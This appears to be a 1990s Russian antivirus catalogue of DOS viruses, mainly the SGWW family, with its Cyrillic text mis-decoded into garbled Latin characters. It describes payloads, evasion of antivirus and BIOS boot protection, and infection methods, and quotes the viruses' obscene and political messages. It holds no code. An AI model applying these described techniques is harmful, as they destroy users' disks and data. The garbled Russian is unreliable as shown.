Íå îáîëüùàéòåñü ðåçóëüòàòàìè ïðîâåðêè óñòàðåâøåé âåðñèåé Aidstest.
 ñâÿçè ñ ïîñòîÿííûì ïîÿâëåíèåì íîâûõ âèðóñîâ è èõ ìîäèôèêàöèé
îáíîâëåíèå ïðîãðàììû ïðîèçâîäèòñÿ íåñêîëüêî ðàç â ìåñÿö.
Åñëè Âû õîòèòå âñåãäà èìåòü ïîñëåäíþþ âåðñèþ,
à òàêæå âíåñòè ñâîé âêëàä â ñòàíîâëåíèå öèâèëèçîâàííîãî ðûíêà ïðîãðàìì
â íàøåé ñòðàíå, ñòàíüòå ÇÀÐÅÃÈÑÒÐÈÐÎÂÀÍÍÛÌ ïîëüçîâàòåëåì.
Äëÿ ïîëó÷åíèÿ èíôîðìàöèè îá óñëóãàõ è óñëîâèÿõ çàïóñòèòå - AIDSTEST/d
Ýòî çàãëóøêà ïðîãðàììû AIDSTEST, çàïèñàííàÿ ñþäà âèðóñîì SEARCH-4148.
Òàêæå ñîçäàåò ôàéë INF_301.LOG â êîòîðûé çàïèñûâàåò ïðîòîêîë ñâîèõ
äåéñòâèé:
* Äåìîíñòðàöèîííûé âèðóñ êëàññà SEARCH (4148) *
Ïîèñê ïî PATH, çàðàæàåò *.COM íà÷èíàþùèåñÿ ñ E9 è *.EXE
(ïåðåäåëûâàåò â COM ïî òèïó format.com).
Çà 9 áàéò îò EOF ñîõðàíÿåòñÿ îðèãèíàëüíûé âõîä (3 áàéòà íà÷ ñ E9),
äàëåå îðèãèíàëüíàÿ äëèíà (DW), ñëóæåáíûé äåëèòåëü (DW) è ñèãíàòóðà (DW).
Âðåìÿ óâåëè÷èâàåò íà 2 ñ, åñëè åñòü êóäà, èíà÷å óìåíüøàåò.
<< SEAR4148.COM ver 3.01 32-04-1995 >> çà î÷åðåäíîé ñåàíñ îáðàáîòàë:
100.EXE
100.COM
------------
Seat.1614, 1868, 2389, 2419
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Seat.2389, 2419 - ïîëèìîðôíûå. Èíîãäà
ðèñóþò íà ýêðàíå â òåêñòîâîì ðåæèìå èçîáðàæåíèå ãîëîãî çàäà ñ âèäåî è
çâóêîâûìè ýôôåêòàìè.
Sebo.2048
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ÷òåíèå çàãðóçî÷íûõ ñåêòîðîâ
äèñêîâ â äèñêîâîäå A:. Ïðè íàõîæäåíèè ñëîâà 880h ïî ñìåùåíèþ +8 (???) -
ïèùèò äèíàìèêîì.
Secretary
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. 30 ÷èñëà âûâîäèò íà ýêðàí òåêñò:
Hard disk is very bad.
Zuganov is very good.
Do you want format drive C: (Y/N) ?
Èìååò òàêæå ñòðîêó "Zuganov".
SeeYou
Î÷åíü îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ.Ïðè ñòàðòå êàêîé-òî EXE-ïðîãðàììû
äëèíîé 100K âèðóñ óäàëÿåò ñâîé êîä èç çàãðóçî÷íîãî ñåêòîðà æåñòêîãî
äèñêà. Åñëè óäâîåííîå çíà÷åíèå ÷èñëà ðàâíî çíà÷åíèþ ìåñÿöà, òî âèðóñ
óíè÷òîæàåò ïî 4 äîðîæêè íà 2 öèëèíäðàõ êàæäîãî ëîãè÷åñêîãî ðàçäåëà
ïåðâîãî æåñòêîãî äèñêà è âûâîäèò ñîîáùåíèå "See you later ...". 20
îêòÿáðÿ âèðóñ âûâîäèò äðóãîå ñîîáùåíèå: "Happy birthday Populizer!".
Select.1112
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Â âîñêðåñåíüå ïðè íàæàòèè íà Ctrl-Alt-Del
ïðîèãðûâàåò ìåëîäèþ è âûâîäèò òåêñò "·ÄͨSELECTRONICS·SOFTWARE¨ÍÄ·".
Òàêæå ñîäåðæèò ñòðîêó "(C) Selectronics Software".
Sentinel.4636, 5173
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Íàïèñàíû íà ÿçûêå Turbo Pascal. Ñîäåðæàò
çàøèôðîâàííûé òåêñò "You won't hear me, but you'll feel me... (c) 1990
by Sentinel. Thanks Borland.".
SerNo.1471
Î÷åíü îïàñíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ñîäåðæèìîå 2000 ñåêòîðîâ
äèñêà C:. Èçìåíÿåò çíà÷åíèå ñëó÷àéíîãî áàéòà â ñëó÷àéíîì ñåêòîðå
æåñòêîãî äèñêà. Åñëè èíôèöèðîâàííàÿ ïðîãðàììà áóäåò çàïóùåíà ñ
ïàðàìåòðîì '??', òî âèðóñ âûâåäåò íà ýêðàí ñòðîêó "V1.01 ser.No :
00001", ãäå â êà÷åñòâå ïàðàìåòðà (â ïðèâåäåííîì ïðèìåðå - 00001)
èñïîëüçóåòñÿ ñ÷åò÷èê çàðàæåíèé.
SGWW - âèðóñû.
Âèðóñû ñîçäàííûå ãðóïïîé ëèö, íàçûâàþùèõ ñåáÿ SGWW (Stealth Group World
Wide). Äàííûé êîíãëîìåðàò íà÷èíàë ñâîþ äåÿòåëüíîñòü â Êèåâå íà Óêðàèíå.
SGWW.Ace
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Çàðàæàåò COM-ôàéëû è îáúåêòíûå
ôàéëû (OBJ) EXE-ìîäóëåé. Ïðè ñòàðòå ïðîãðàììû, èìÿ êîòîðîé íà÷èíàåòñÿ
íà áóêâó "W", âèðóñ ìîæåò âûâåñòè íà ýêðàí òåêñò:
This program wastes a lot of memory,
SYSTEM HALTED...
Ïîñëå ÷åãî ïðîãðàììà óíè÷òîæàåòñÿ (îáíóëÿåòñÿ åå äëèíà) è ñèñòåìà
"ïåðåçàãðóæàåòñÿ" âèðóñîì. Âèðóñ ñîäåðæèò òåêñò "(C) Ace of Spades ,
Kiev-1995... Don't be a snub - enjoy yourself!".
SGWW.Amber.1408
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêè "[Trivial]",
"[AMBER1.07@beta]". Ïðåäíàçíà÷åí äëÿ äåìîíñòðàöèè ïîëèìîðôíîãî
ãåíåðàòîðà Amber,ñîçäàííîãî óêðàèíñêèì âèðóñîïèñàòåëåì Êîñòåé Âîëêîâûì
(Reminder).
SGWW.Amber.2724
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ.Ñîäåðæèò òåêñòû "[·This is only
ForeWord·]", "[AMBER1.07@beta]".
SGWW.Beast.1216
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò "(c) Beast.
Advanced Disk Infector. [ADinf v1.5]".
SGWW.Beast.1347
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè çàðàæåíèè èñïîëüçóåò
óïðîùåííûå ìåõàíèçìû èç âèðóñîâ ñåìåéñòâà OneHalf. Ñîäåðæèò òåêñòû:
(c) Copyright by Beast.
(c) Stealth Group Bishkek.
(c) Stealth Group World Wide.
Infection by Beast. v0.91
Stealth Group World Wide.
[Bomber v1.0] by Beast. Stealth Group World Wide.
SGWW.Freemun
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èìååò òåêñò "3ìóí".
SGWW.Happy
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "HAPPY v1.03 (C)
PROFESSOR,KPI".
SGWW.Killer.3072 (1-3), 3584 (1,2)
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû.  ïåðâûõ ÷èñëàõ ìåñÿöà
ìîãóò óíè÷òîæèòü ñîäåðæèìîå ïåðâûõ äâóõ æåñòêèõ äèñêîâ. Íå çàðàæàþò
ôàéëû, íà÷èíàþùèåñÿ íà AIDS,CHKD, WEB, SCAN,AR, ZI, TB. Ñîäåðæàò òåêñòû
"EMME v3.0. KILLER.", èëè "Multilevel Encryptor v1.0. Generation:",
"-=Killer=-", èëè "EMME v4.0. -= KILLER =-", èëè "-=Unlimited Grief=-",
"Kiev'96".
SGWW.Light
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû:
This virus was made for Computer Virus Club `Stealth`
Our address : Kiev 148 - box 10
(c) Light General.Kiev.1995.For free use!
ÊÈÅÂÑÊÈÉ ÌÅÆÄÓÍÀÐÎÄÍÛÉ ÓÍÈÂÅÐÑÈÒÅÒ ÃÐÀÆÄÀÍÑÊÎÉ ÀÂÈÀÖÈÈ
SGWW.Maverick.1536 (1,2)
Ïîëèìîðôíûå îïàñíûå âèðóñû. Åñëè çíà÷åíèå ìåñÿöà ñîâïàäàåò ñî çíà÷åíèåì
äíÿ èëè çíà÷åíèå äíÿ â 2 ðàçà áîëüøå çíà÷åíèÿ ìåñÿöà, òî âèðóñû
ïûòàþòñÿ óíè÷òîæèòü ñîäåðæèìîå ñåêòîðîâ 6 ãîëîâîê æåñòêîãî äèñêà. Íî â
äàííîé ïðîöåäóðå èìååòñÿ îøèáêà, è óíè÷òîæåíèå íå ïðîèçîéäåò. Àâòîðó
âèðóñîâ ìîæíî ïîñîâåòîâàòü äî êîíöà îòëàäèòü ñâîè íàìåðåíèÿ íà ñâîåì
êîìïüþòåðå. Ñîäåðæàò òåêñò: "(c) ETERNAL MAVERICK. Kiev Computer Virus
Club 1994.".
SGWW.Maverick.2048
Îïàñíûé ïîëèìîðôíûé âèðóñ. Åñëè çíà÷åíèå äíÿ ðàâíî çíà÷åíèþ ìåñÿöà+1
èëè +2, òî âèðóñ óñòàíàâëèâàåò INT 13h (îïåðàöèè ñ äèñêîì) íà INT 04
(INTO). Åñëè çíà÷åíèå äíÿ ðàâíî çíà÷åíèþ ìåñÿöà+2, òî âèðóñ âûâîäèò
òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ º
º ¦ LETS REST UNTIL TOMORROW ! ¦ º
º ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º
º (c) ETERNAL MAVERICK 1995. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Press RESET to continue...
Íå çàðàæàåò ïðîãðàììû, íà÷èíàþùèåñÿ íà AIDS, WEB, CHKD, SCAN.
SGWW.Never.1000
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè îòêðûòèè (f.3Dh Int 21h)
èíôèöèðîâàííûõ COM-ôàéëîâ, âèðóñ óäàëÿåò ñâîé êîä èç íèõ,à ïðè çàêðûòèè
(f.3Eh Int 21h) èõ ñíîâà çàðàæàåò. Ñîäåðæèò òåêñòû "äÀíÈëÎôÔ-äÓá,wEb-
ÃîÐáÓõÀ", "[Never-Never] by Int O`Dream", "Êèåâ,4:09am,31/03/96".
SGWW.Nostardamus.1870, 2078, 2184, 2247, 2308, 2500 (1,2), 2560, 5995
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Ìîãóò óíè÷òîæèòü 80
ñåêòîðîâ äèñêà A:. SGWW.Nostardamus.2247 ïðè îáðàùåíèè ê ñêðûòûì
èëè ñèñòåìíûì ôàéëàì ñ ðàñøèðåíèÿìè, äâå ïîñëåäíèå áóêâû êîòîðûõ
îòëè÷íû îò OM, YS, XE, VL, çàïèñûâàåò â èõ íà÷àëî îäèí ñëó÷àéíûé áàéò.
Ïåðåõâàòûâàþò INT 16h, 1Ch, 21h. Ïðè ñòàðòå âèðóñû ìîãóò âûâåñòè òåêñò:
SGWW.Nostardamus.2078:
NOSTARDAMUS-Optim (c) v1.0 beta
Formating disk C:
40Mb
.................
SGWW.Nostardamus.2184:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.7 beta by Populizer
Formatting disk X:
40Mb
.................
SGWW.Nostardamus.2247:
The NOSTARDAMUS-Erase (c) v2.1 beta
Formating disk C:
40Mb
.................
SGWW.Nostardamus.2308:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9 beta by Populizer
Formatting disk X:
40Mb
.................
SGWW.Nostardamus.2500:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9a beta by Populizer
Formatting disk X:
40Mb
ooooooooooooooooo
SGWW.Nostardamus.2560:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9e beta by Populizer
Formatting disk X:
40Mb
ooooooooooooooooo
Maverick.Nostardamus.5995:
Formatting disk X:
40Mb
ooooooooooooooooo
ïîñëå ÷åãî ÷èòàþò íà êàæäîé äîðîæêå ïî îäíîìó ñåêòîðó, èìèòèðóÿ
ôîðìàòèðîâàíèå æåñòêîãî äèñêà. Ïðè íàæàòèè íà êëàâèøó âî âðåìÿ äàííîãî
ïðîöåññà, âèðóñû ïðîäîëæàò ñâîþ äàëüíåéøóþ èíñòàëëÿöèþ â ïàìÿòü.
SGWW.Nostardamus.1870 óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà.
Îêîëî 18:00 âèðóñû âûâîäÿò íà ýêðàí ñòðîêó "HOME RUN !!!". Â
îïðåäåëåííûå ìîìåíòû, ïðè íàæàòèè íà F8, Shift-F8, Ctrl-F8 âèðóñû
èãíîðèðóþò äàííûå êîìáèíàöèè êëàâèø, íàæàòèå æå Ctrl-F10 èçìåíÿþò íà
íàæàòèå F8. Äëÿ ôàéëîâ, èìåþùèõ ïåðâûå áóêâû â èìåíè AI è CO èëè
çàêàí÷èâàþùèõñÿ íà EB, NF, TI, âèðóñû ïðè èõ ñòàðòå îáíóëÿþò èõ
îêðóæåíèå (environment), äëÿ íåâîçìîæíîñòè ïðîâåðêè ïðîãðàììíîãî êîäà.
SGWW.Nostardamus.2184, 2500, 2560, 5995 èíîãäà èãíîðèðóþò çàïðîñ íà
óäàëåíèå ôàéëîâ (f. 13h, 41h Int 21h). SGWW.Nostardamus.5995 èíîãäà
âûâîäèò îäíî èç íèæåïåðå÷èñëåííûõ ñîîáùåíèé, ïîñëå ÷åãî îæèäàåò íàæàòèÿ
íà êëàâèøó Esc:
Îñòîðîæíî - íà áîðòó áîìáà! Çà÷åì çâàë ,Õîçÿèí ?
 äèñêîâîäå À: äâå äèñêåòû !!  äèñêîâîäå ÊÐÛÑÛ !!!
Õðàíèòå äåíüãè â áàíêå !! Êòî òàì ? Ýòî ÿ, ×èêàòèëî!
Ëó÷øå ïèâà òîëüêî ÔÀÂÒ !!! Äà âûêëþ÷èòå ñâåò íàêîíåö!
Èçâèíèòå, à êàê âàñ çîâóò ? Âàøå ìåñòî äîìà íà äèâàíå !
Can you FUCK me ? May be ! ÑÍÈÊÅÐÑ - êàê ó íåãðà â ...
Ïèâî íå ðîñêîøü, à ñðåäñòâî ! Press CTRL-ALT-DEL ...
AIDSTEST íå ïîìîæåò ! TWIX - òî, ÷åãî ó âàñ íåò!!!
Invalid user. Unknown error ! BOUNTY - íàñ ëþáÿò âñå !!
Good user - Dead user !!! MILKYWAY óòîíóë !
COMMAND.COM óìåð! Press key.. Çàïóñòèòå AIDSTEST !!!
ßíà ìû òåáÿ ëþáèì !!! Ó Âàñ ïëîõîé ìîòîð !
Insert new user and press ESC ×èòàéòå ãàçåòó ÁÈÇÍÅÑ !
Ïðîáîèíà â äèñêå C:,ïðîùàéòå! Ìîðã ðÿäîì !!!
Äÿäÿ Âàñÿ äîì ïîêðàñèë ! Crazy & Co. ltd.
Ïðî÷èòàéòå ÷òî òàêîå âèðóñ ! Ïîçäðàâòå ìåíÿ ñ çà÷åòîì !!!
Âûøåë ÷óê÷à íà êðûëüöî . . . LISP - das is êðóòî !
Ëîçèíñêîãî íà ìûëî !!! Insert new baks into drive A:
Äàíèëîâ, ìû òåáÿ íå óâàæàåì. ... Ïèòü ... Äàéòå âîäû ...
Ïðîïàë Ñíóïè,óøåë íà áîëîòî.. Ìåíÿþ æåíó 40 ëåò íà 2 ïî 20!
I'm big RUSSIAN monstr !! Çàëèïàíèå êëàâèàòóðû!
System error, invalid TC.EXE. Óòðî âå÷åðà - ìóäðåíåå !!!
See you later ... ß ÍÅ ÏÎÁÅÄÈÌÛÉ !!!
Áåëûå áðàòüÿ õóæå ãîëóáûõ... Íå õî÷ó !
×òî ñìîòðèøü, ïðèäóðîê !? CPU ìåðòâ.À FPU íå çàâîäèòñÿ.
Ëó÷øå ÿ ÷åì äðóãîé, ïðàâäà? ËÅÍÈÍ ÆÈ !!!
Âåíòèëÿòîð is write protected ÑÒÀËÈÍ ÓÌÅÐ, ÍÎ ÄÅËÎ ÆÈÂÅÒ !!
Formatting disk C: y/y ? Íàäåéòåñü íà ëó÷øåå !
&^%&^%&#^ - ïîäóìàë Øòèðëèö ! Ãîðáà÷åâ - ñâîëî÷ü !!!
Àíåêäîò : Êîëîáîê ïîâåñèëñÿ ! Óõîæó â ìîíîñòûðü (æåíñêèé)!
Ìíå íóæíî ñðî÷íî ïîçâîíèòü ! Ïîêðàñü è âûáðîñü !!!
Íå çàíèìàé ëåâûé ðÿä !!! Âûïèë ïèâà - ïèñàé êðèâî!
Îñòîðîæíî ,çëîé USER ! ! ! Guns 'N' Roses ýòî êðóòî !
Êîíåö ðàáîòû ,òû ñâîáîäåí . Ïîñìîòðè íà ÷àñû !!!
Ó âàñ ïåíà èçî ðòà èäåò ! Ñêîëüêî òàì âðåìåíè ?
Âñåì ìîë÷àòü ! ! ! (C) Porno C++ 3.1
ß õî÷ó ÊÐÎÂÈ !!! (C) Ãèâè Basic 7.0
ß õî÷ó ÌßÑÀ !!! (C) Trubo Pascacal 7.0
ß õî÷ó ñïàòü, îòðóáè ìàøèíó ! Èãðàéòå â DOOM III !
ß ìàíüÿê ×èêàòèëî !!! Âñå ! Êîíåö ñâåòà !!!
Ìàòåðü ìèðà - Ì.Ä. Õðèñòîñ !! Æåíùèíû, íå ïåéòå âîäêè !
ÓÐÀ ! ÍÎÂÛÉ ÃÎÄ !!! Ãäå òâîÿ áîñàÿ íîæêà ?
ÊÌÓÃÀ - ïîëèãîí âèðóñîâ ! Òüôó... -> Ïëåâàòåëüíèöà !?;
Äà îáëîìàéñÿ òû ! ÔÀÐÝÎ ×ÅÌÏÈÎÍ !!!
Íå ìîðî÷ü ãîëîâó !!! Virus detected, system halted
Êàê âàì âèðóñîê? Ôèãíÿ, ôèãíÿ Àêöèè ÀÎ ~ÌÌÌ~ óïàëè !!!
Ñîëíöå âñòàíåò íåïðåìåííî !!! Keyboard error, press F1.
Ýòî íå ñîí, ýòî SONY! TAMPAX - ðàéñêîå íàñëàæäåíèå.
Ñåêðåòíûé äèñê X: óñòàíîâëåí À òû çàïèñàëñÿ â ÊÌÓÃÀ ???
Âû äîëæíû ìíå 10000 ðóáëåé ! Âûïüåì Âîäêè Âàíÿ ...
SGWW.Nostardamus.5995 òàêæå ñîäåðæèò òåêñòû:
Êèåâñêîìó Ìåæäóíàðîäíîìó Óíèâåðñèòåòó Ãðàæäàíñêîé Àâèàöèè,
è ëè÷íî Ôàêóëüòåòó Àâèàöèîííîãî ÐàäèîÝëåêòðîííîãî Îáîðóäîâàíèÿ
ïîñâÿùàåòñÿ:
Âèðóñ - ~Äèñêîãëîòàòåëü~. Íàïèñàí ñòóäåíòîì ÔÀÐÝÎ ãð.203
(C) CopyLeft 1994
The NOSTARDAMUS.Maverick (CopyLeft) Version 3.2 ultra by Populizer
SGWW.Nostardamus.1870 èìååò òåêñò "NOSTARDAMUS (c) v1.1 beta".
SGWW.Pantera
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èìååò òåêñò "PANTERA V1.0".
SGWW.Penthouse
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïî ñðåäàì âîñïðîèçâîäèò
íåêîå ïîäîáèå "òÿãó÷åé" ìåëîäèè.
SGWW.Rattler
Îïàñíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Åñëè çíà÷åíèå äíÿ ðàâíî çíà÷åíèþ
ìåñÿöà+1 òî âèðóñ ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå ïåðâîãî æåñòêîãî
äèñêà. Íå çàðàæàåò ïðîãðàììû, íà÷èíàþùèåñÿ íà AIDS, WEB, CHKD, SCAN.
Ñîäåðæèò òåêñò "This is RATTLER v2.0. Read the Infected Voice!".
SGWW.Simbioz
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.COM-ôàéëîâ â òåêóùåì
êàòàëîãå, ÷èòàåò ïîëíîñòüþ íàéäåííûé ôàéë â ïàìÿòü è ïðîèçâîäèò ïîèñê
áàéò B4 ?? CD 21, ÷òî ñîîòâåòñòâóåò âûçîâó ïðåðûâàíèÿ DOS INT 21h. Ïðè
íàõîæäåíèè äàííûõ áàéò âèðóñ çàïèñûâàåò âìåñòî íèõ èíñòðóêöèþ ïåðåõîäà
íà ñîáñòâåííûé êîä (E8 ?? ??), êîòîðûé çàïèñûâàåò â êîíåö ôàéëà. Ò.î.,
âèðóñ ìîæåò ïîëó÷èòü óïðàâëåíèå ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû, à
ìîæåò íèêîãäà íå ïîëó÷èòü (åñëè âèðóñ âíåäðèëñÿ â ïîäïðîãðàììó, êîòîðàÿ
ïðè çàäàííûõ óñëîâèÿõ íèêîãäà íå èñïîëíÿåòñÿ). Â òåëå âèðóñà èìååòñÿ
òåêñò "[Simbioz.Inside]".
SGWW.StoneHeart
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò òàáëèöû ADinf íà
âñåõ äîñòóïíûõ äèñêàõ. Ñîäåðæèò òåêñòû "StoneHeart II", "EMME Small
1.1".
SGWW.Tchechen.1909, 1912, 1914, 1919, 3338, 3370, 3420, 3436, 3564, 3604
Î÷åíü îïàñíûå ðåçèäåíòíûå øèôðîâàííûå (SGWW.Tchechen.3338,3370,3420,
3436,3564,3604 - ïîëèìîðôíûå) âèðóñû. Ïðè ñòàðòå âèðóñû, êðîìå âèðóñîâ
äëèíîé áîëåå 1919 áàéò, ñ÷èòûâàþò 2 ñåêòîð æåñòêîãî äèñêà è
çàïèñûâàþò â íåãî ñëîâî "ÌÈÐ:" è ÷èñëî 4, êîòîðîå áóäåò ÿâëÿòüñÿ
ñ÷åò÷èêîì ñòàðòîâ èíôèöèðîâàííûõ ïðîãðàìì. Ïîòîì ïûòàþòñÿ íàéòè â ROM
BIOS òåêñòîâûå ñòðîêè Megatrends, AWARD. Åñëè ýòîò ïîèñê èì óäàåòñÿ,
òî âèðóñû âûêëþ÷àþò â CMOS-ïàìÿòè îïöèþ Virus Warning on Boot (êîíòðîëü
çàïèñè â çàãðóçî÷íûé ñåêòîð). Íî ñëåäóåò îòìåòèòü, ÷òî ïðè ïîèñêå ýòèõ
äâóõ ñëîâ âèðóñû èíîãäà íå ñìîãóò íàéòè ñëîâî AWARD. Ïðè äîñòèæåíèè
ñ÷åò÷èêà âî 2 ñåêòîðå çíà÷åíèÿ 0 âèðóñû çàìåíÿþò ñëîâî "ÌÈÐ:" íà
íåïîòðåáíîå ñëîâî èç 3 áóêâ è çàïèñûâàþò â MBR æåñòêîãî äèñêà
"òðîÿíñêèé" êîä. Äàííûé êîä ïðè çàãðóçêå ñèñòåìû ñàìîñòîÿòåëüíî îòäàåò
óïðàâëåíèå àêòèâíîìó çàãðóçî÷íîìó ñåêòîðó æåñòêîãî äèñêà, íî, ïðèìåðíî,
÷åðåç ìåñÿö (10 äíåé äëÿ âèðóñîâ SGWW.Tchechen.3338, 3370, 3420, 3436,
3604) ïîñëå çàïèñè äàííîãî êîäà â MBR óíè÷òîæàåò ñîäåðæèìîå âñåãî
ïåðâîãî æåñòêîãî äèñêà. Ïîñëå ÷åãî ïëàíèðîâàëñÿ âûâîä íà ýêðàí
íèæåñëåäóþùåãî òåêñòà (SGWW.Tchechen.1914 ñîäåðæèò îøèáêó â äàííîì
âûâîäå):
POLITICAL PRO$TITUTE$ OF THE WORLD, (UN)ITE !
IN REWARD FOR THE SCORCHED EARTH OF TCHECHNYA.
ENJOYIN' WAR BY TV YOU'RE GLAD -YOUR ASS IS SO FAR FROM.
WAIT, YOU'LL SEE THE REAL BLOOD SOON..RIGHT AT YOUR WINDOW
AND YOU WORTH IT !!!
The Tchechen,(C)RUSSIAN BEAR,1995.
SGWW.Tchechen.3338, 3370, 3604 âûâîäÿò òåêñò:
HALF YEAR OF WAR HAS GONE. IT STILL DOES.
MASS MURDER WAS RECOGNIZED BY THE WORLD COMMUNITY.
ACCEPT MY CONGRATULATIONS ! ENJOY THE WORLD'S NEW ORDER !
THE TCHECHEN, v2.1 (C) RUSSIAN BEAR. 1995,JUNE
SGWW.Tchechen.3420 âûâîäèò òåêñò:
`I`M WASTING TIME APPEALING TO YOU.
WASTE YOUR...TO RESTORE HD.
THE TCHECHEN v2.2 Web&BugsFix (C) RUSSIAN BEAR, 12.12.95
SGWW.Tchechen.3436 âûâîäèò òåêñò:
`I`MàWASTINGàTIMEàAPPEALINGàTOàYOUîÍÊàWASTEàYOURî^îTOàRESTOREàHDîÍÊà
THEàTCHECHENàv²î²àWebæBugsFixàèCéàRUSSIANàBEARì౲ÍÊ
Âèðóñû SGWW.Tchechen.1909, 1912, 1914, 1919 ñîäåðæàò òàêæå òåêñò
"Äàíèëîâ è Ëîç! Óáüåòå-ïîõîðîíþ âàøå ã è ã âàøèõ þçåðîâ!!!".
SGWW.Tchechen.3338, 3370, 3604 èìåþò äðóãîé òåêñò:
È.Ä.! Ýòî óæå íå 1914, õîòÿ è òîò Òåáÿ âîâñþ èìåë !
ß îáåùàë - ïîõîðîíû ìèðà ÏÊ íà÷àëèñü! Òàíöóþò âñå!
Òû-ÐÅÁÅÍÎÊ ïåðåä íàìè, þçåðà-ÄÅÒÈ ïåðåä Òîáîé! Ðàññêàæè èì ñêàçêó ïðî
íàäåæíîñòü WEB'a! Îòåö- ãåðîé! Ñàìîëþáèå íå ïóñòèò ýòîò òåêñò â List !
À åñòü ëè îíî ó àâòîðà òàêîé ïîïñû, êàê WEB ? Õî÷åòñÿ âåðèòü.
Äî âñòðå÷è!
À íó-êà ïîéìàé âñå øòàììû!
SGWW.Tchechen.3436 ñîäåðæèò äðóãîé òåêñò "È.Ä.! Ìîðàëüíûå ïîõîðîíû
DrWEB`à ïðîäîëæàþòñÿ. Íó òåïåðü-òî ïîòàíöóåì ?". ×åñòíî ãîâîðÿ, ÿ,
ìîæåò áûòü, è ïîòàíöåâàë áû ... Íî íå âèæó ïðè÷èíû.
SGWW.Tchechen.3564 ñîäåðæèò òåêñò:
È.Äàíèëîâ ! Ýòî íîâûé âèðóñ,ÅÃÎ ÍÀÇÂÀÍÈÅ SHAYSE.
Dr.web SHAYSE íå ëîâèò.Ýòî óíèâåðñàëüíàÿ ïðîãðàììà.
Èñïðàâëåíû íåêîòîðûå ìåëêèå íåäî÷åòû, AWARD too.
Êàê òåáå ýòîò âàðèàíò ? Îí ïîêà íà ïåðâîì ìåñòå.
Ïëàìåííûé ïðèâåò òåáå From SEBASTOPOL ! Äî âñòðå÷è!
SGWW.Tchechen.3338, 3370, 3420, 3436, 3604 íå çàðàæàþò ïðîãðàììû,
íà÷èíàþùèåñÿ íà WE,AD,AI,CO,DR, AV, TB, CH. SGWW.Tchechen.1914, 3338,
3370, 3564, 3604 íåðàáîòîñïîñîáíû íà ïðîöåññîðå Pentium.
SGWW.Train
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Ñîäåðæèò òåêñò:
"Run away train never come back !". Íå çàðàæàåò ôàéëû, íà÷èíàþùèåñÿ íà
AIDS, CHKD, WEB, SCAN, COMM, WIN.
SGWW.Zoo
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò DOS çàãîëîâîê â ôàéëàõ ôîðìàòà
NewExe (ôàéëû äëÿ Windows 3.1x). Âèðóñ çàïèñûâàåò â MZ-çàãîëîâîê ñâîé
êîä, êîððåêòèðóÿ ïàðàìåòðû äàííîãî çàãîëîâêà. Â ðåçóëüòàòå ïðè çàïóñêå
â DOS òàêîé ïðîãðàììû âèðóñ ïîïûòàåòñÿ çàðàçèòü âñå NewExe ôàéëû â
òåêóùåì êàòàëîãå. Âèðóñ ñîäåðæèò çàøèôðîâàííûå òåêñòû:
*.exe
This program requires Microsoft Windows.
(c) DNazi
Ìû óéäåì èç çîîïàðêà!
Sh.983, Sh.988
Íåîïàñíûå çàøèôðîâàííûå âèðóñû. Ðàçìåùàþò ñâîþ TSR-êîïèþ â äâóõ
ðàçëè÷íûõ ñåãìåíòàõ ïàìÿòè. Ïåðâàÿ ÷àñòü äëèíîé 539 èëè 541 áàéò äëÿ
Sh.988 ðàçìåùàåòñÿ â ñåãìåíòå 001E:0000h, âòîðàÿ ÷àñòü äëèíîé 444 èëè
447 áàéò äëÿ Sh.988 - â ñåãìåíòå 0054:0000h. Íå çàðàæàþò ôàéëû,
íà÷èíàþùèåñÿ íà AI, WP, HI, DO, KR. Ñîäåðæàò òåêñòû:
Sh.983 - "(Ñ) Shel,NSTU,1994,v3.1", "*.exe *.com", "Sh";
Sh.988 - "Novosibirsk,NSTU,1994,(Ñ) Shel,v3.1", "*.exe *.com", "Sh".
Sh.1333
